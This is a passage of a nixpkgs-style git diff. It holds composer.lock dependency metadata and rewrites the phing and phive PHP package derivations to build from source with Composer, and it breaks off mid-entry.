"type": "zip", + "url": "https://api.github.com/repos/symfony/options-resolver/zipball/4fe5cf6ede71096839f0e4b4444d65dd3a7c1eb9", + "reference": "4fe5cf6ede71096839f0e4b4444d65dd3a7c1eb9", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-php73": "~1.0", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\OptionsResolver\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an improved replacement for the array_replace PHP function", + "homepage": "https://symfony.com", + "keywords": [ + "config", + "configuration", + "options" + ], + "support": { + "source": "https://github.com/symfony/options-resolver/tree/v5.4.21" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-02-14T08:03:56+00:00" + }, + { + "name": "symfony/polyfill-php81", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/c565ad1e63f30e7477fc40738343c62b40bc672d", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/process", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "cbc28e34015ad50166fc2f9c8962d28d0fe861eb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/cbc28e34015ad50166fc2f9c8962d28d0fe861eb", + "reference": "cbc28e34015ad50166fc2f9c8962d28d0fe861eb", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Executes commands in sub-processes", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/process/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/stopwatch", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/stopwatch.git", + "reference": "887762aa99ff16f65dc8b48aafead415f942d407" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/stopwatch/zipball/887762aa99ff16f65dc8b48aafead415f942d407", + "reference": "887762aa99ff16f65dc8b48aafead415f942d407", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/service-contracts": "^1|^2|^3" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Stopwatch\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides a way to profile code", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/stopwatch/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symplify/monorepo-builder", + "version": "11.2.20", + "source": { + "type": "git", + "url": "https://github.com/symplify/monorepo-builder.git", + "reference": "444efe08701776cb1a03b9f3600e715697519aa6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symplify/monorepo-builder/zipball/444efe08701776cb1a03b9f3600e715697519aa6", + "reference": "444efe08701776cb1a03b9f3600e715697519aa6", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "bin": [ + "bin/monorepo-builder" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "10.3-dev" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Prefixed version of Not only Composer tools to build a Monorepo.", + "support": { + "issues": "https://github.com/symplify/monorepo-builder/issues", + "source": "https://github.com/symplify/monorepo-builder/tree/11.2.20" + }, + "funding": [ + { + "url": "https://www.paypal.me/rectorphp", + "type": "custom" + }, + { + "url": "https://github.com/tomasvotruba", + "type": "github" + } + ], + "time": "2023-11-17T08:30:16+00:00" + }, + { + "name": "tedivm/jshrink", + "version": "v1.7.0", + "source": { + "type": "git", + "url": "https://github.com/tedious/JShrink.git", + "reference": "7a35f5a4651ca2ce77295eb8a3b4e133ba47e19e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/tedious/JShrink/zipball/7a35f5a4651ca2ce77295eb8a3b4e133ba47e19e", + "reference": "7a35f5a4651ca2ce77295eb8a3b4e133ba47e19e", + "shasum": "" + }, + "require": { + "php": "^7.0|^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.14", + "php-coveralls/php-coveralls": "^2.5.0", + "phpunit/phpunit": "^9|^10" + }, + "type": "library", + "autoload": { + "psr-0": { + "JShrink": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Robert Hafner", + "email": "tedivm@tedivm.com" + } + ], + "description": "Javascript Minifier built in PHP", + "homepage": "http://github.com/tedious/JShrink", + "keywords": [ + "javascript", + "minifier" + ], + "support": { + "issues": "https://github.com/tedious/JShrink/issues", + "source": "https://github.com/tedious/JShrink/tree/v1.7.0" + }, + "funding": [ + { + "url": "https://github.com/tedivm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/tedivm/jshrink", + "type": "tidelift" + } + ], + "time": "2023-10-04T17:23:23+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.2.2", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "support": { + "issues": "https://github.com/theseer/tokenizer/issues", + "source": "https://github.com/theseer/tokenizer/tree/1.2.2" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2023-11-20T00:12:19+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": { + "mikey179/vfsstream": 20, + "pear/net_ftp": 20, + "pear/net_growl": 20, + "pear/versioncontrol_git": 20, + "phing/phing-composer-configurator": 20, + "roave/security-advisories": 20 + }, + "prefer-stable": true, + "prefer-lowest": false, + "platform": { + "php": ">= 7.4", + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-simplexml": "*", + "ext-xml": "*" + }, + "platform-dev": { + "ext-curl": "*", + "ext-iconv": "*", + "ext-openssl": "*", + "ext-pdo_sqlite": "*", + "ext-phar": "*", + "ext-sockets": "*", + "ext-xsl": "*", + "ext-zip": "*" + }, + "platform-overrides": { + "php": "7.4" + }, + "plugin-api-version": "2.6.0" +} diff --git a/pkgs/development/php-packages/phing/default.nix b/pkgs/development/php-packages/phing/default.nix index 390904724e7bb..9c0a155ff726e 100644 --- a/pkgs/development/php-packages/phing/default.nix +++ b/pkgs/development/php-packages/phing/default.nix @@ -1,34 +1,29 @@ -{ mkDerivation, fetchurl, makeWrapper, lib, php }: +{ lib +, fetchFromGitHub +, php +}: -let +(php.withExtensions({ enabled, all }: enabled ++ (with all; [ xsl ]))).buildComposerProject (finalAttrs: { pname = "phing"; - version = "2.17.4"; -in -mkDerivation { - inherit pname version; + version = "3.0.0-rc6"; - src = fetchurl { - url = "https://github.com/phingofficial/phing/releases/download/v${version}/phing-${version}.phar"; - sha256 = "sha256-3QZsl5QJkFX5Z4RovMtw2ELCp8Zl4xiZsIBikakJ474="; + src = fetchFromGitHub { + owner = "phingofficial"; + repo = "phing"; + rev = finalAttrs.version; + hash = "sha256-pOt6uQaz69WuHKYZhq6FFbjyHGrEc+Bf0Sw9uCS3Nrc="; }; - dontUnpack = true; + # TODO: Open a PR against https://github.com/phingofficial/phing + # Their `composer.lock` is out of date therefore, we need to provide one + composerLock = ./composer.lock; + vendorHash = "sha256-ueTbbz3FGyRcRvlcJNirHdC77Tko4RKtYMFB3+4JdnQ="; - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phing/phing.phar - makeWrapper ${php}/bin/php $out/bin/phing \ - --add-flags "$out/libexec/phing/phing.phar" - runHook postInstall - ''; - - meta = with lib; { + meta = { description = "PHing Is Not GNU make; it's a PHP project build system or build tool based on Apache Ant"; - license = licenses.lgpl3; homepage = "https://github.com/phingofficial/phing"; - maintainers = with maintainers; teams.php.members; + license = lib.licenses.lgpl3; + mainProgram = "phing"; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/phive/default.nix b/pkgs/development/php-packages/phive/default.nix index f5670cdfcf23d..f8efa3621ede8 100644 --- a/pkgs/development/php-packages/phive/default.nix +++ b/pkgs/development/php-packages/phive/default.nix @@ -1,32 +1,27 @@ -{ mkDerivation, fetchurl, makeWrapper, lib, php }: +{ lib +, fetchFromGitHub +, php +}: -mkDerivation rec { +php.buildComposerProject (finalAttrs: { pname = "phive"; version = "0.15.2"; - src = fetchurl { - url = "https://github.com/phar-io/phive/releases/download/${version}/phive-${version}.phar"; - sha256 = "K7B2dT7F1nL14vlql6D+fo6ewkpDnu0A/SnvlCx5Bfk="; + src = fetchFromGitHub { + owner = "phar-io"; + repo = "phive"; + rev = finalAttrs.version; + hash = "sha256-K/YZOGANcefjfdFY1XYEQknm0bPRorlRnNGC7dEegZ0="; }; - dontUnpack = true; + vendorHash = "sha256-0fJ+SyicvVONJ4FkOFTkBTekDAOjBfaLo0dZ2DYlGJU="; - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phive/phive.phar - makeWrapper ${php}/bin/php $out/bin/phive \ - --add-flags "$out/libexec/phive/phive.phar" - runHook postInstall - ''; - - meta = with lib; { - changelog = "https://github.com/phar-io/phive/releases/tag/${version}"; + meta = { + changelog = "https://github.com/phar-io/phive/releases/tag/${finalAttrs.version}"; description = "The Phar Installation and Verification Environment (PHIVE)"; homepage = "https://github.com/phar-io/phive"; - license = licenses.bsd3; - maintainers = with maintainers; teams.php.members; + license = lib.licenses.bsd3; + mainProgram = "phive"; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/php-codesniffer/composer.lock b/pkgs/development/php-packages/php-codesniffer/composer.lock new file mode 100644 index 0000000000000..d13bdba7d4ded --- /dev/null +++ b/pkgs/development/php-packages/php-codesniffer/composer.lock @@ -0,0 +1,1758 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "1f2c5cc64f1c09df05e113ce632792f0", + "packages": [], + "packages-dev": [ + { + "name": "doctrine/instantiator", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/instantiator.git", + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/instantiator/zipball/c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "doctrine/coding-standard": "^11", + "ext-pdo": "*", + "ext-phar": "*", + "phpbench/phpbench": "^1.2", + "phpstan/phpstan": "^1.9.4", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5.27", + "vimeo/psalm": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com", + "homepage": "https://ocramius.github.io/" + } + ], + "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", + "homepage": "https://www.doctrine-project.org/projects/instantiator.html", + "keywords": [ + "constructor", + "instantiate" + ], + "support": { + "issues": "https://github.com/doctrine/instantiator/issues", + "source": "https://github.com/doctrine/instantiator/tree/2.0.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", + "type": "tidelift" + } + ], + "time": "2022-12-30T00:23:10+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.11.1", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "doctrine/collections": "<1.6.8", + "doctrine/common": "<2.13.3 || >=3,<3.2.2" + }, + "require-dev": { + "doctrine/collections": "^1.6.8", + "doctrine/common": "^2.13.3 || ^3.2.2", + "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" + }, + "type": "library", + "autoload": { + "files": [ + "src/DeepCopy/deep_copy.php" + ], + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "support": { + "issues": "https://github.com/myclabs/DeepCopy/issues", + "source": "https://github.com/myclabs/DeepCopy/tree/1.11.1" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2023-03-08T13:26:56+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v5.0.1", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "2218c2252c874a4624ab2f613d86ac32d227bc69" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/2218c2252c874a4624ab2f613d86ac32d227bc69", + "reference": "2218c2252c874a4624ab2f613d86ac32d227bc69", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "ext-tokenizer": "*", + "php": ">=7.4" + }, + "require-dev": { + "ircmaxell/php-yacc": "^0.0.7", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "support": { + "issues": "https://github.com/nikic/PHP-Parser/issues", + "source": "https://github.com/nikic/PHP-Parser/tree/v5.0.1" + }, + "time": "2024-02-21T19:24:10+00:00" + }, + { + "name": "phar-io/manifest", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-phar": "*", + "ext-xmlwriter": "*", + "phar-io/version": "^3.0.1", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "support": { + "issues": "https://github.com/phar-io/manifest/issues", + "source": "https://github.com/phar-io/manifest/tree/2.0.3" + }, + "time": "2021-07-20T11:28:43+00:00" + }, + { + "name": "phar-io/version", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "support": { + "issues": "https://github.com/phar-io/version/issues", + "source": "https://github.com/phar-io/version/tree/3.2.1" + }, + "time": "2022-02-21T01:04:05+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "9.2.30", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-xmlwriter": "*", + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3", + "phpunit/php-file-iterator": "^3.0.3", + "phpunit/php-text-template": "^2.0.2", + "sebastian/code-unit-reverse-lookup": "^2.0.2", + "sebastian/complexity": "^2.0", + "sebastian/environment": "^5.1.2", + "sebastian/lines-of-code": "^1.0.3", + "sebastian/version": "^3.0.1", + "theseer/tokenizer": "^1.2.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcov": "PHP extension that provides line coverage", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": [ + "coverage", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", + "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.30" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:47:57+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "3.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2021-12-02T12:48:52+00:00" + }, + { + "name": "phpunit/php-invoker", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-invoker.git", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "ext-pcntl": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcntl": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Invoke callables with a timeout", + "homepage": "https://github.com/sebastianbergmann/php-invoker/", + "keywords": [ + "process" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-invoker/issues", + "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:58:55+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-text-template/issues", + "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T05:33:50+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "5.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + "homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-timer/issues", + "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:16:10+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "9.6.17", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/1a156980d78a6666721b7e8e8502fe210b587fcd", + "reference": "1a156980d78a6666721b7e8e8502fe210b587fcd", + "shasum": "" + }, + "require": { + "doctrine/instantiator": "^1.3.1 || ^2", + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.10.1", + "phar-io/manifest": "^2.0.3", + "phar-io/version": "^3.0.2", + "php": ">=7.3", + "phpunit/php-code-coverage": "^9.2.28", + "phpunit/php-file-iterator": "^3.0.5", + "phpunit/php-invoker": "^3.1.1", + "phpunit/php-text-template": "^2.0.3", + "phpunit/php-timer": "^5.0.2", + "sebastian/cli-parser": "^1.0.1", + "sebastian/code-unit": "^1.0.6", + "sebastian/comparator": "^4.0.8", + "sebastian/diff": "^4.0.3", + "sebastian/environment": "^5.1.3", + "sebastian/exporter": "^4.0.5", + "sebastian/global-state": "^5.0.1", + "sebastian/object-enumerator": "^4.0.3", + "sebastian/resource-operations": "^3.0.3", + "sebastian/type": "^3.2", + "sebastian/version": "^3.0.2" + }, + "suggest": { + "ext-soap": "To be able to generate mocks based on WSDL files", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.6-dev" + } + }, + "autoload": { + "files": [ + "src/Framework/Assert/Functions.php" + ], + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The 